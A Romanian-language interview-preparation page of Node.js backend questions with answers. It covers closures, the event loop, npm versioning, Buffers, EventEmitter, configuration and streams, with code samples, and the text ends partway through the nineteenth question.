...
Pregătire interviuri

100 de întrebări de interviu pentru Backend Developer (Node.js), cu răspunsuri

Întrebările care apar des la interviurile de Backend Developer (Node.js), fiecare cu un răspuns scurt, explicația pe larg și ce urmărește intervievatorul. Citește-le sau exersează cu răspunsurile ascunse.

Pagină coordonată de Tudor Andrei Dumitrescu, Senior Software Developer, fondatorul Academiei ProgramatorilorActualizat la

  • 100întrebări
  • 50junior
  • 35mid
  • 15senior
  • 147 minde citit
Întrebări de interviu Backend Developer (Node.js) cu răspunsuri

Procesul de interviu pentru un rol de backend developer cu Node.js are de obicei câteva etape: o discuție cu recrutorul despre experiență, așteptări și motivație, unul sau două interviuri tehnice și, în multe companii, o temă de casă (de exemplu un mic API REST cu bază de date și teste) sau un exercițiu de programare live. La final poate urma o discuție cu managerul sau cu echipa, cu întrebări comportamentale. Ordinea și numărul etapelor diferă de la o firmă la alta, dar subiectele tehnice se repetă: JavaScript și modelul asincron al Node.js, design de API-uri, baze de date, autentificare, testare și noțiuni de Git, Linux și Docker.

La nivel junior se urmărește dacă stăpânești fundamentele: cum funcționează event loop-ul, ce înseamnă async/await, cum scrii un endpoint corect, un query SQL cu JOIN și GROUP BY, de ce nu stochezi parole în clar. Contează mult și dacă poți explica un proiect propriu. La nivel mid, întrebările se mută spre decizii și compromisuri: paginare, caching, tranzacții, performanță, structura codului, cum depanezi o problemă din producție. Pentru roluri senior apar întrebări de design de sistem, concurență și operare.

Întrebările de mai jos sunt grupate pe teme, iar în cadrul fiecărei teme sunt ordonate de la junior la senior. Citește întâi răspunsul scurt și încearcă să formulezi singur explicația, apoi compară cu răspunsul detaliat. Rulează exemplele de cod, schimbă-le și urmărește ce se întâmplă: la interviu se observă imediat diferența dintre un răspuns memorat și unul înțeles. Notițele „ce verifică intervievatorul” te ajută să eviți greșelile tipice.

JavaScript pentru backend

1 Junior

Care este diferența dintre var, let și const în JavaScript?

Răspuns scurt: var are scope de funcție și este inițializat cu undefined la hoisting, iar let și const au scope de bloc și stau în „temporal dead zone” până la declarare. const interzice reatribuirea, nu modificarea obiectului.

Scope-ul este zona din cod în care o variabilă există. var este vizibil în toată funcția în care a fost declarat, chiar dacă l-ai scris într-un if sau for. let și const trăiesc doar în blocul { } în care au fost declarate.

Toate trei sunt „hoisted” (motorul le înregistrează la începutul scope-ului), dar diferit: var primește imediat valoarea undefined, pe când let și const nu pot fi citite înainte de linia de declarare. Accesul prematur aruncă ReferenceError; intervalul acela se numește temporal dead zone.

JavaScript
for (var i = 0; i < 3; i++) setTimeout(() => console.log(i)); // 3 3 3
for (let j = 0; j < 3; j++) setTimeout(() => console.log(j)); // 0 1 2
const user = { name: 'Ana' };
user.name = 'Ion'; // permis
// user = {};      // TypeError: Assignment to constant variable

Exemplul cu bucla arată diferența practică: let creează o legătură nouă la fiecare iterație, așa că fiecare callback își vede propria valoare.

În codul modern de Node.js regula uzuală este: const implicit, let doar când chiar reatribui, iar var deloc. Asta face codul mai ușor de urmărit și elimină o categorie întreagă de bug-uri legate de scope.

Ce urmărește intervievatorul: Verifică dacă înțelegi scope-ul și hoisting-ul, nu doar sintaxa. Greșeala tipică: a spune că const face obiectul imutabil.

2 Junior

Care este diferența dintre == și ===?

Răspuns scurt: === compară valoarea și tipul fără conversii, iar == aplică întâi conversii implicite de tip (coercion), cu reguli greu de ținut minte. În cod de producție se folosește aproape mereu ===.

=== (strict equality) întoarce true doar dacă ambii operanzi au același tip și aceeași valoare. == (loose equality) încearcă să aducă operanzii la un tip comun înainte de comparație, după algoritmul din specificația ECMAScript, iar rezultatele pot surprinde:

JavaScript
0 == '';           // true
'0' == false;      // true
null == undefined; // true
null === undefined;// false
[] == false;       // true
NaN === NaN;       // false

Pe backend, asta contează des la date venite din exterior: parametrii din query string și header-ele HTTP sunt mereu string-uri. Dacă scrii if (req.query.page == 1), merge din întâmplare; dacă scrii === 1, nu merge niciodată, pentru că '1' !== 1. Soluția corectă este conversia explicită (Number(req.query.page)) urmată de validare, nu ==.

O excepție acceptată de multe ghiduri de stil este x == null, care prinde și null, și undefined dintr-o singură comparație. Pentru restul cazurilor, ESLint are regula eqeqeq. Pentru NaN folosești Number.isNaN(), iar pentru comparații care tratează și -0 separat există Object.is().

Ce urmărește intervievatorul: Intervievatorul vrea să vadă că știi de coercion și de faptul că datele din HTTP vin ca string. Greșeala tipică: „== compară doar valoarea”, fără a putea explica ce înseamnă asta.

3 Junior

Ce este un closure? Dă un exemplu util pe backend.

Răspuns scurt: Un closure este o funcție care își păstrează accesul la variabilele din scope-ul în care a fost creată, chiar după ce funcția exterioară s-a terminat. Se folosește pentru stare privată, fabrici de funcții și middleware configurabil.

În JavaScript, fiecare funcție reține o referință la mediul lexical în care a fost definită. Când o funcție interioară este returnată sau transmisă mai departe, variabilele exterioare pe care le folosește nu sunt eliberate de garbage collector, pentru că încă sunt accesibile prin ea. Asta este closure-ul.

Exemplul clasic pe backend este un middleware care primește configurare:

JavaScript
function requireRole(role) {
  return (req, res, next) => {
    if (req.user?.role !== role) {
      return res.status(403).json({ error: 'Forbidden' });
    }
    next();
  };
}

app.delete('/users/:id', requireRole('admin'), deleteUser);

Funcția returnată „ține minte” valoarea role pentru fiecare rută. Alt exemplu este un contor sau un cache privat:

JavaScript
function createCounter() {
  let count = 0;
  return { inc: () => ++count, get: () => count };
}

Nimeni din afară nu poate modifica count direct, doar prin metodele expuse.

Atenție la partea întunecată: un closure care ține o referință la un obiect mare (de exemplu un req întreg) într-un callback care trăiește mult, cum ar fi un listener înregistrat global, poate produce memory leak. Merită să reții în closure doar datele de care ai nevoie.

Ce urmărește intervievatorul: Verifică înțelegerea scope-ului lexical și dacă poți lega conceptul de cod real. Mulți candidați recită definiția, dar nu pot da un exemplu în afară de contor.

4 Junior

Cum se comportă this într-o funcție normală față de o arrow function?

Răspuns scurt: Într-o funcție normală, this depinde de cum este apelată funcția. O arrow function nu are this propriu: îl preia din scope-ul în care a fost definită.

Pentru o funcție declarată cu function, valoarea lui this se decide la apel:

  • apel ca metodă obj.f(): this este obj;
  • apel simplu f(): undefined în strict mode (ES modules și clase sunt mereu strict), altfel obiectul global;
  • cu new: obiectul nou creat;
  • cu call, apply sau bind: valoarea dată explicit.

Arrow function nu are this, arguments sau prototype proprii. Folosește this-ul din contextul exterior, fixat la definire. De aceea nu poate fi folosită cu new.

Problema apare des când transmiți o metodă ca callback:

JavaScript
class UserService {
  constructor(repo) { this.repo = repo; }
  async getAll() { return this.repo.findAll(); }
}
const service = new UserService(repo);

app.get('/users', service.getAll);            // this este undefined -> TypeError
app.get('/users', (req, res) => service.getAll()); // corect
app.get('/users', service.getAll.bind(service));    // tot corect

În primul caz, Express apelează funcția fără obiect în față, deci legătura cu service se pierde. Soluțiile sunt bind, un wrapper arrow sau definirea metodei ca proprietate arrow în clasă (getAll = async () => {...}).

Invers, nu folosi arrow function ca metodă de obiect dacă ai nevoie de this către obiect, pentru că va primi this din exterior.

Ce urmărește intervievatorul: Este o sursă frecventă de bug-uri în controllere și servicii. Intervievatorul urmărește dacă poți explica regula apelului, nu doar „arrow ia this-ul de sus”.

5 Junior

Ce afișează console.log(a); var a = 1; console.log(b); let b = 2; și de ce?

Răspuns scurt: Prima linie afișează undefined, pentru că declarația var a este ridicată (hoisting) și inițializată cu undefined. A treia linie aruncă ReferenceError, pentru că b este în temporal dead zone.

Înainte să execute codul, motorul JavaScript parcurge scope-ul și înregistrează toate declarațiile. Acest pas se numește informal hoisting.

Pentru var a = 1, doar declarația este mutată conceptual sus și primește imediat undefined; atribuirea = 1 rămâne pe loc. Codul se comportă ca și cum ai fi scris:

JavaScript
var a;           // undefined
console.log(a);  // undefined
a = 1;

Pentru let b, declarația este și ea cunoscută din start, dar variabila rămâne neinițializată până când execuția ajunge la linia let b = 2. Orice acces înainte aruncă:

ReferenceError: Cannot access 'b' before initialization

Execuția se oprește la a treia linie, deci nu se mai ajunge la declarația lui b.

Funcțiile declarate cu function nume() {} sunt ridicate complet, cu tot cu corp, de aceea le poți apela înainte de definiție. Funcțiile atribuite unei variabile (const f = () => {}) urmează regulile lui const.

Mesajul pentru interviu: hoisting-ul nu „mută cod”, ci descrie faptul că declarațiile sunt create la intrarea în scope. Diferența între var și let/const este momentul inițializării.

Ce urmărește intervievatorul: Exercițiu tipic de „ce afișează”. Se verifică dacă știi că let este și el hoisted, dar neinițializat; mulți răspund greșit că afișează undefined și a doua oară.

6 Junior

Scrie o funcție care primește o listă de comenzi și întoarce totalul pe fiecare client, folosind reduce.

Răspuns scurt: Folosești reduce cu un acumulator obiect (sau Map) în care aduni valoarea fiecărei comenzi la cheia clientului. Rezultatul este un singur obiect de forma { clientId: total }.

Datele de intrare ar putea arăta așa: [{ customerId: 'c1', amount: 120 }, { customerId: 'c2', amount: 50 }, { customerId: 'c1', amount: 30 }].

JavaScript
function totalsByCustomer(orders) {
  return orders.reduce((acc, { customerId, amount }) => {
    acc[customerId] = (acc[customerId] ?? 0) + amount;
    return acc;
  }, {});
}

totalsByCustomer(orders); // { c1: 150, c2: 50 }

Puncte pe care intervievatorul le urmărește:

  • valoarea inițială {} este obligatorie; fără ea, primul element devine acumulator și rezultatul este greșit;
  • ?? (nullish coalescing) tratează corect cazul în care cheia nu există încă;
  • funcția nu modifică array-ul primit.

Dacă cheile pot fi orice (inclusiv obiecte) sau vrei ordine garantată de inserare, Map este mai potrivit. Din Node.js 21 există și Object.groupBy(orders, o => o.customerId), care grupează, dar nu adună.

O întrebare-capcană frecventă: „ce faci cu sume în bani?”. Numerele JavaScript sunt în virgulă mobilă, deci 0.1 + 0.2 !== 0.3. Pentru bani se lucrează în unități întregi (bani, cenți) sau cu o bibliotecă de numere zecimale, iar în baza de date cu tipul NUMERIC.

Ultima observație bună: dacă datele vin din baza de date, agregarea se face de obicei direct în SQL cu GROUP BY, nu în aplicație.

Ce urmărește intervievatorul: Verifică fluența cu metodele de array și atenția la detalii (valoarea inițială, bani). Un bonus este să spui că agregarea se poate muta în SQL.

7 Mid

Cum funcționează moștenirea prototipală și ce sunt de fapt clasele în JavaScript?

Răspuns scurt: Fiecare obiect are o legătură internă către un prototip, iar căutarea unei proprietăți urcă pe acest lanț până o găsește sau ajunge la null. Sintaxa class din ES2015 este un strat peste acest mecanism, nu un model nou.

Când citești obj.metoda, motorul caută întâi proprietatea direct pe obiect. Dacă nu o găsește, se uită în Object.getPrototypeOf(obj), apoi în prototipul acestuia și tot așa. Acesta este lanțul de prototipuri.

O clasă face exact asta în spate:

JavaScript
class Animal {
  constructor(name) { this.name = name; }
  speak() { return `${this.name} face un sunet`; }
}
class Dog extends Animal {
  speak() { return `${super.speak()}: ham`; }
}
const d = new Dog('Rex');
Object.getPrototypeOf(d) === Dog.prototype;              // true
Object.getPrototypeOf(Dog.prototype) === Animal.prototype; // true
typeof Dog; // 'function'

Metodele speak stau o singură dată pe Dog.prototype, nu pe fiecare instanță, deci sunt partajate și economisesc memorie. name este proprietate proprie a fiecărei instanțe.

Câteva diferențe față de funcțiile constructor vechi: clasele rulează mereu în strict mode, nu pot fi apelate fără new, iar câmpurile private #camp (disponibile din Node.js 12) chiar sunt inaccesibile din afară.

Practic, pe backend clasele sunt folosite pentru servicii, repository-uri și erori custom (class NotFoundError extends Error). Este bine să știi și ce se întâmplă dedesubt, pentru că vei vedea biblioteci care modifică prototipuri sau folosesc Object.create.

Ce urmărește intervievatorul: Verifică dacă vezi dincolo de sintaxă. Greșeala tipică este să tratezi clasele JavaScript ca pe cele din Java, cu copiere de metode în fiecare obiect.

8 Mid

Care este diferența dintre o copiere superficială și o copiere profundă a unui obiect?

Răspuns scurt: Copierea superficială (shallow) creează un obiect nou, dar obiectele imbricate rămân aceleași referințe. Copierea profundă (deep) duplică recursiv tot arborele, de exemplu cu structuredClone().

În JavaScript, obiectele și array-urile sunt transmise prin referință. const b = a nu copiază nimic, doar creează încă un nume pentru același obiect.

Spread-ul și Object.assign fac copiere superficială:

JavaScript
const config = { port: 3000, db: { host: 'localhost' } };
const copy = { ...config };
copy.port = 4000;          // nu afectează config
copy.db.host = 'prod-db';  // modifică și config.db.host!

Nivelul de sus este nou, dar copy.db și config.db sunt același obiect.

Pentru copiere profundă, varianta modernă este structuredClone(obj), globală în Node.js 17+. Ea gestionează Date, Map, Set și referințe circulare, dar nu poate copia funcții sau instanțe de clase cu comportament (pierd prototipul). Trucul vechi JSON.parse(JSON.stringify(obj)) pierde undefined, funcții, transformă Date în string și eșuează la referințe circulare.

Unde contează pe backend: când primești un obiect de configurare sau un rezultat din cache și îl modifici pentru un singur request. Dacă modifici direct obiectul partajat, schimbarea „scapă” în toate request-urile următoare, iar bug-ul apare intermitent și este greu de reprodus. Regula sănătoasă este să tratezi datele partajate ca imutabile și să creezi obiecte noi.

Ce urmărește intervievatorul: Se verifică înțelegerea referințelor. Candidații spun des că spread-ul „clonează obiectul” fără să menționeze nivelurile imbricate.

9 Mid

Care este diferența dintre CommonJS și ES Modules în Node.js?

Răspuns scurt: CommonJS folosește require și module.exports, se încarcă sincron și era sistemul implicit în Node.js. ES Modules folosesc import/export, sunt standardul limbajului, se analizează static și permit top-level await.

CommonJS (CJS) a apărut înaintea standardului. require() este o funcție obișnuită, rulează sincron, poate fi apelată oriunde (inclusiv într-un if) și întoarce o copie a lui module.exports de la momentul încărcării.

ES Modules (ESM) sunt standardul ECMAScript. Importurile sunt declarații statice, rezolvate înainte de execuție, ceea ce permite tree-shaking și detectarea erorilor de import din start. Legăturile sunt „live”: dacă modulul exportator schimbă o valoare exportată, importatorul o vede.

JavaScript
// CommonJS
const express = require('express');
module.exports = { start };

// ESM
import express from 'express';
export function start() {}
const config = await loadConfig(); // top-level await, doar ESM

Cum alege Node.js: fișierele .mjs sunt ESM, .cjs sunt CJS, iar .js urmează câmpul "type" din package.json ("module" sau implicit "commonjs").

Diferențe practice care apar în proiecte:

  • în ESM nu există __dirname și __filename; folosești import.meta.dirname (Node.js 20.11+) sau fileURLToPath(import.meta.url);
  • în ESM extensia fișierului în importurile relative este obligatorie;
  • ESM poate importa CJS; invers, require() pe un modul ESM era imposibil și a devenit posibil abia în versiunile recente (activat implicit din Node.js 22.12 pentru module fără top-level await).

Proiectele noi aleg de obicei ESM, dar vei întâlni mult cod CJS existent.

Ce urmărește intervievatorul: Verifică experiența reală cu proiecte Node.js. Greșeala tipică este să crezi că diferența este doar de sintaxă.

10 Senior

Cum apare un memory leak într-o aplicație Node.js și cum îl investighezi?

Răspuns scurt: Un memory leak apare când obiectele rămân referite fără să mai fie necesare, deci garbage collector-ul nu le poate elibera: cache-uri fără limită, listenere neînlăturate, timere uitate, closure-uri care țin date mari. Se investighează cu heap snapshots comparate în timp.

V8, motorul din Node.js, eliberează automat memoria obiectelor la care nu mai există nicio referință accesibilă. Un leak înseamnă că, din greșeală, păstrezi o referință. Cauze frecvente:

  • un obiect sau Map global folosit drept cache, fără limită de mărime sau expirare;
  • emitter.on(...) apelat la fiecare request, fără off; Node.js afișează MaxListenersExceededWarning după 10 listenere pe același eveniment;
  • setInterval pornit și niciodată oprit;
  • closure-uri care rețin req/res sau buffere mari în callback-uri cu viață lungă;
  • promisiuni care nu se rezolvă niciodată și țin context.

Simptomul tipic: memoria procesului (RSS și heap used) crește continuu sub trafic constant, până la JavaScript heap out of memory sau restart din orchestrator.

Pași de investigare:

BASH
node --inspect server.js          # apoi Chrome DevTools > Memory
node --heapsnapshot-signal=SIGUSR2 server.js
kill -USR2 <pid>                  # scrie un .heapsnapshot

Faci un snapshot la pornire, generezi trafic, faci încă unul sau două și le compari în vizualizarea „Comparison”. Cauți tipurile de obiecte al căror număr crește și urmărești „Retainers”, adică lanțul de referințe care le ține în viață.

Ca prevenție: cache cu limită (de exemplu lru-cache), WeakMap pentru metadate atașate obiectelor, monitorizare de process.memoryUsage() în metrici. Mărirea --max-old-space-size doar amână problema.

Ce urmărește intervievatorul: La nivel senior se așteaptă o metodă concretă de diagnostic, nu doar o listă de cauze. Greșeala tipică: „dau restart periodic” sau „măresc memoria”.

Node.js și event loop

11 Junior

Ce este Node.js și ce înseamnă că este „single-threaded”?

Răspuns scurt: Node.js este un runtime care rulează JavaScript în afara browserului, pe motorul V8, cu acces la fișiere, rețea și procese. Codul tău JavaScript rulează pe un singur thread, iar operațiile I/O sunt delegate sistemului de operare și unui pool de thread-uri din libuv.

Node.js combină trei piese: motorul V8 (compilează și execută JavaScript), biblioteca libuv (event loop și I/O asincron) și API-uri proprii (fs, http, crypto, stream).

„Single-threaded” se referă la faptul că tot codul JavaScript al aplicației rulează pe un singur thread principal. Nu ai două funcții JS care rulează simultan în același proces, deci nu ai nevoie de lock-uri pentru variabilele obișnuite.

Asta nu înseamnă că Node.js face un singur lucru odată. Când citești un fișier sau faci un query în baza de date, Node.js pornește operația și trece mai departe. Operațiile de rețea folosesc mecanismele asincrone ale sistemului de operare (epoll pe Linux, kqueue pe macOS, IOCP pe Windows). Operațiile care nu au variantă asincronă nativă, cum ar fi multe operații pe fișiere, DNS prin dns.lookup, crypto.pbkdf2 sau zlib, rulează în thread pool-ul libuv, care are implicit 4 thread-uri (UV_THREADPOOL_SIZE).

Când operația se termină, callback-ul ei este pus în coadă, iar event loop-ul îl execută pe thread-ul principal.

Consecința practică: Node.js este foarte eficient pentru aplicații cu mult I/O și multe conexiuni concurente (API-uri, gateway-uri, real-time), dar o operație CPU-intensivă lungă în JavaScript blochează toate request-urile.

Ce urmărește intervievatorul: Întrebare de deschidere. Se verifică dacă știi că există și thread-uri în spate și ce consecințe are modelul pentru CPU vs I/O.

12 Junior

Ce este event loop-ul în Node.js și care sunt fazele lui principale?

Răspuns scurt: Event loop-ul este bucla care preia callback-urile gata de execuție și le rulează pe thread-ul principal, în faze fixe: timers, pending callbacks, poll (I/O), check (setImmediate) și close callbacks. Între callback-uri se golesc cozile de microtask-uri.

După ce scriptul principal se termină, Node.js nu iese cât timp există lucruri în așteptare (timere, socket-uri deschise, operații I/O). Event loop-ul, implementat în libuv, repetă un ciclu de faze, fiecare cu propria coadă:

  • timers: callback-urile setTimeout și setInterval al căror timp a expirat;
  • pending callbacks: anumite callback-uri de sistem amânate din ciclul anterior;
  • poll: preia evenimente I/O noi (date pe socket, fișier citit) și le rulează callback-urile; dacă nu are ce face, poate aștepta aici;
  • check: callback-urile setImmediate;
  • close callbacks: de exemplu socket.on('close').

Separat de aceste faze există două cozi cu prioritate: coada process.nextTick și coada de microtask-uri a promisiunilor (.then, continuarea după await). Ele se golesc complet după fiecare callback executat, înainte ca loop-ul să meargă mai departe.

JavaScript
setTimeout(() => console.log('timeout'), 0);
Promise.resolve().then(() => console.log('promise'));
console.log('sync');
// sync, promise, timeout

Ideea importantă pentru backend: event loop-ul poate trece la următorul callback doar când cel curent s-a terminat. Dacă un handler de request face un calcul de 2 secunde, nicio altă cerere nu este servită în acele 2 secunde. De aceea codul din handler trebuie să fie scurt, iar munca grea delegată.

Ce urmărește intervievatorul: Este probabil cea mai întrebată temă la interviurile Node.js. Se urmărește dacă înțelegi că microtask-urile nu sunt o fază și de ce blocarea loop-ului afectează toți utilizatorii.

13 Junior

Ce rol au package.json și package-lock.json, și ce înseamnă ^1.4.2 la o dependență?

Răspuns scurt: package.json descrie proiectul și intervalele de versiuni acceptate pentru dependențe, iar package-lock.json fixează exact versiunile instalate, inclusiv pentru dependențele indirecte. ^1.4.2 acceptă orice versiune 1.x.y mai mare sau egală cu 1.4.2, dar nu 2.0.0.

package.json conține numele, versiunea, scripturile (npm run test), câmpul type, versiunea de Node.js cerută (engines) și dependențele cu un interval de versiuni.

Versiunile urmează semver (semantic versioning): MAJOR.MINOR.PATCH. MAJOR crește la schimbări incompatibile, MINOR la funcționalități noi compatibile, PATCH la corecturi.

  • ^1.4.2 înseamnă >=1.4.2 <2.0.0 (implicit la npm install);
  • ~1.4.2 înseamnă >=1.4.2 <1.5.0;
  • 1.4.2 înseamnă exact acea versiune.

Atenție: pentru versiuni 0.x, caret-ul este mai strict: ^0.4.2 înseamnă <0.5.0.

Problema intervalelor este că două instalări la date diferite pot primi versiuni diferite. Aici intervine package-lock.json: înregistrează versiunea exactă, sursa și hash-ul de integritate pentru fiecare pachet din arbore, inclusiv dependențele dependențelor. Fișierul se pune în Git, ca toată echipa și pipeline-ul de CI să aibă aceleași versiuni.

BASH
npm install express      # adaugă în package.json și actualizează lock-ul
npm ci                   # instalează exact din lock, șterge node_modules întâi
npm outdated             # ce versiuni mai noi există

În CI și în Dockerfile se folosește npm ci: este reproductibil și eșuează dacă lock-ul nu se potrivește cu package.json.

Ce urmărește intervievatorul: Arată dacă ai lucrat în echipă și ai avut „la mine merge”. Greșeala tipică este să pui package-lock.json în .gitignore.

14 Junior

Care este diferența dintre dependencies, devDependencies și peerDependencies?

Răspuns scurt: dependencies sunt necesare la rulare în producție, devDependencies doar la dezvoltare și build (teste, linter, compilator TypeScript), iar peerDependencies declară că pachetul tău se așteaptă ca proiectul gazdă să aibă instalată o anumită bibliotecă.

Pentru o aplicație backend:

  • dependencies: express, pg, zod, pino, tot ce importă codul care rulează în producție;
  • devDependencies: jest sau vitest, eslint, typescript, tsx, @types/node, supertest.
BASH
npm install express          # în dependencies
npm install -D typescript    # în devDependencies
npm ci --omit=dev            # instalare de producție, fără devDependencies

De ce contează separarea: imaginea Docker de producție devine mai mică, pornește mai repede și are o suprafață de atac redusă, pentru că nu conține unelte de test sau build. O greșeală frecventă este să pui o bibliotecă folosită la rulare în devDependencies; local merge, iar în producție aplicația pică la pornire cu Cannot find module.

Pentru TypeScript, compilatorul este dev, dar codul compilat în dist/ rulează doar cu dependencies. Pachetele @types/* sunt de asemenea dev.

peerDependencies apar când scrii o bibliotecă sau un plugin. De exemplu, un plugin de Fastify nu își aduce propriul Fastify, ci declară "fastify": "^5.0.0" ca peer, ca să folosească aceeași instanță ca aplicația. Începând cu npm 7, peer dependencies sunt instalate automat, iar conflictele de versiune produc eroarea ERESOLVE.

Mai există optionalDependencies, pentru pachete fără de care aplicația poate funcționa.

Ce urmărește intervievatorul: Se verifică dacă știi cum ajunge codul în producție. Greșeala tipică: totul pus în dependencies sau o bibliotecă de runtime pusă la dev.

15 Junior

Ce sunt Buffer-ele în Node.js și când le folosești?

Răspuns scurt: Un Buffer este o zonă de memorie de lungime fixă cu octeți bruți, folosită pentru date binare: fișiere, imagini, pachete de rețea, criptografie. Este o subclasă de Uint8Array, alocată în afara heap-ului obișnuit de obiecte.

JavaScript a fost gândit inițial pentru text. Pe server însă lucrezi des cu octeți: citești un PDF, primești un upload, calculezi un hash sau vorbești un protocol binar. Buffer rezolvă asta.

JavaScript
const buf = Buffer.from('Salut, ș', 'utf8');
buf.length;              // 9 octeți, nu 8 caractere: „ș” ocupă 2 octeți
buf.toString('hex');
buf.toString('base64');
Buffer.from('U2FsdXQ=', 'base64').toString(); // 'Salut'

const empty = Buffer.alloc(16);       // inițializat cu zero
const fast = Buffer.allocUnsafe(16);  // neinițializat, poate conține date vechi

Detaliul cu lungimea este important: buf.length numără octeți, iar str.length numără unități UTF-16. Dacă validezi mărimea unui body sau a unui câmp după numărul de caractere, poți greși la texte cu diacritice sau emoji. Buffer.byteLength(str) dă numărul de octeți.

fs.readFile fără encoding întoarce un Buffer; cu 'utf8' întoarce string. Stream-urile de fișiere și rețea emit implicit chunk-uri de tip Buffer.

Două atenționări:

  • allocUnsafe este mai rapid, dar poate expune date din memorie dacă nu suprascrii tot conținutul;
  • dacă concatenezi chunk-uri, folosește Buffer.concat(chunks), nu += pe string, ca să nu rupi caractere multi-octet aflate la granița dintre chunk-uri.

Pentru comparații de secrete (token-uri, semnături) folosești crypto.timingSafeEqual(a, b) pe buffere de aceeași lungime.

Ce urmărește intervievatorul: Verifică dacă înțelegi diferența dintre text și octeți. Greșeala clasică este confuzia dintre numărul de caractere și numărul de octeți la UTF-8.

16 Junior

Ce este EventEmitter și unde îl întâlnești în Node.js?

Răspuns scurt: EventEmitter este clasa din modulul events care implementează pattern-ul publish/subscribe: un obiect emite evenimente cu nume, iar listenerele înregistrate cu on sunt apelate sincron, în ordinea înregistrării. Stă la baza stream-urilor, serverului HTTP și socket-urilor.

Multe obiecte din Node.js sunt emitters: http.Server emite request, un socket emite data și close, un stream emite data, end, error, iar process emite exit sau SIGTERM.

Poți crea propriile evenimente:

JavaScript
import { EventEmitter } from 'node:events';

class Orders extends EventEmitter {
  create(order) {
    // salvezi comanda...
    this.emit('created', order);
  }
}

const orders = new Orders();
orders.on('created', (o) => sendConfirmationEmail(o));
orders.once('created', () => console.log('prima comandă'));

Detalii care se întreabă des:

  • emit apelează listenerele sincron. Dacă un listener face o operație lentă sincronă, blochează și codul care a emis. Dacă un listener aruncă excepție, aceasta urcă în emit.
  • Evenimentul error este special: dacă îl emiți și nu există niciun listener pentru el, Node.js aruncă eroarea și, de regulă, procesul se oprește. De aceea orice stream sau emitter trebuie să aibă on('error', ...).
  • once se dezabonează singur după primul apel; off (sau removeListener) elimină manual.
  • Peste 10 listenere pe același eveniment produc un avertisment de posibil memory leak.

Pentru a aștepta un eveniment cu await există events.once(emitter, 'name'), care întoarce o promisiune.

Ce urmărește intervievatorul: Se urmărește dacă știi că listenerele sunt sincrone și ce se întâmplă cu evenimentul error netratat, sursă de crash-uri în producție.

17 Junior

Cum gestionezi configurarea și variabilele de mediu într-o aplicație Node.js?

Răspuns scurt: Configurarea care diferă între medii (porturi, URL-ul bazei de date, chei API) se citește din variabile de mediu prin process.env, se validează la pornire și se centralizează într-un singur modul. Secretele nu se pun niciodată în cod sau în Git.

Principiul vine din metodologia „12-factor app”: același artefact (cod sau imagine Docker) rulează în dezvoltare, staging și producție, iar diferențele vin doar din mediu.

Local, valorile stau într-un fișier .env, ignorat în Git, cu un .env.example versionat care arată ce chei sunt necesare. Din Node.js 20.6 poți încărca fișierul fără bibliotecă:

BASH
node --env-file=.env server.js

Variantele mai vechi foloseau pachetul dotenv.

Toate valorile din process.env sunt string-uri, deci trebuie convertite și validate. Un modul de configurare care eșuează rapid la pornire te scutește de erori confuze mai târziu:

JavaScript
import { z } from 'zod';

const Env = z.object({
  NODE_ENV: z.enum(['development', 'test', 'production']),
  PORT: z.coerce.number().default(3000),
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
});

export const config = Env.parse(process.env);

Restul aplicației importă config, nu citește process.env direct prin tot codul. Asta face testarea mai simplă și dependențele vizibile.

În producție, valorile vin din platformă: variabile setate în orchestrator, Docker secrets, Kubernetes Secrets sau un manager de secrete. Atenție să nu afișezi obiectul de config în loguri și să nu trimiți variabile de mediu în răspunsurile de eroare.

Ce urmărește intervievatorul: Verifică maturitatea practică: validare, separare de cod, secrete. Greșeala tipică este un .env cu parole urcat în repository.

18 Mid

În callback-ul unui fs.readFile programezi, în ordine, un setTimeout(..., 0), un setImmediate și un process.nextTick. În ce ordine se afișează mesajele?

Răspuns scurt: Afișează nextTick, apoi immediate, apoi timeout. nextTick rulează imediat după callback-ul curent, iar din faza poll (unde rulează callback-ul de I/O) loop-ul ajunge întâi în faza check, deci setImmediate vine înaintea timer-ului.

Codul discutat:

JavaScript
fs.readFile(__filename, () => {
  setTimeout(() => console.log('timeout'), 0);
  setImmediate(() => console.log('immediate'));
  process.nextTick(() => console.log('nextTick'));
});

Callback-ul lui readFile se execută în faza poll, pentru că este rezultatul unei operații I/O. În interiorul lui programăm trei lucruri:

  • process.nextTick intră în coada nextTick, care se golește imediat ce callback-ul curent se termină, înainte de orice altă fază. Deci nextTick apare primul.
  • setImmediate intră în coada fazei check, care urmează direct după poll în același ciclu.
  • setTimeout(..., 0) intră în faza timers, care vine abia la începutul ciclului următor. (Întârzierea minimă reală este 1 ms.)

Rezultat garantat:

nextTick
immediate
timeout

Capcana: dacă rulezi aceleași două linii setTimeout(..., 0) și setImmediate direct din scriptul principal, nu dintr-un callback I/O, ordinea dintre ele nu este garantată. Depinde dacă timer-ul de 1 ms a expirat deja când loop-ul intră prima dată în faza timers, iar asta ține de cât de încărcat este sistemul.

Mai e de știut că process.nextTick are prioritate și față de promisiuni: în CommonJS, coada nextTick se golește înaintea cozii de microtask-uri. Un nextTick recursiv poate „înfometa” event loop-ul, pentru că I/O-ul nu mai ajunge niciodată să ruleze. Documentația Node.js recomandă setImmediate pentru cele mai multe cazuri de amânare.

Ce urmărește intervievatorul: Testează înțelegerea fină a fazelor, la nivel mid. Diferențiază candidații care au citit documentația de cei care știu doar că „microtask-urile au prioritate”.

19 Mid

Ce sunt stream-urile în Node.js și de ce le-ai folosi în loc să citești tot fișierul în memorie?

Răspuns scurt: Stream-urile procesează datele pe bucăți (chunk-uri) pe măsură ce sosesc, în loc să le încarce integral în memorie. Sunt de patru tipuri: Readable, Writable, Duplex și Transform, iar pipeline le leagă cu tratare corectă a erorilor și backpressure.

Dacă un endpoint face fs.readFile pe un fișier de 2 GB și îl trimite, procesul ține tot fișierul în RAM, iar câteva request-uri simultane pot epuiza memoria. Cu stream-uri, memoria folosită rămâne aproximativ constantă, indiferent de mărimea fișierului, iar clientul începe să primească date imediat.

JavaScript
import { createReadStream } from 'node:fs';
import { createGzip } from 'node:zlib';
import { pipeline } from 'node:stream/promises';

app.get('/export', async (req, res, next) => {
  res.setHeader('Content-Type', 'text/csv');
  res.setHeader('Content-Encoding', 'gzip');
  try {
    await pipeline(createReadStream('./export.csv'), createGzip(), res);
  } catch (err) {
    next(err);
  }
});

Tipuri:

  • Readable: sursă (fișier, req HTTP, rezultatul unui query cu cursor);
  • Writable: destinație (fișier, res HTTP);
  • Duplex: ambele direcții (socket TCP);
  • Transform: modifică datele în trecere (gzip, parsare CSV).

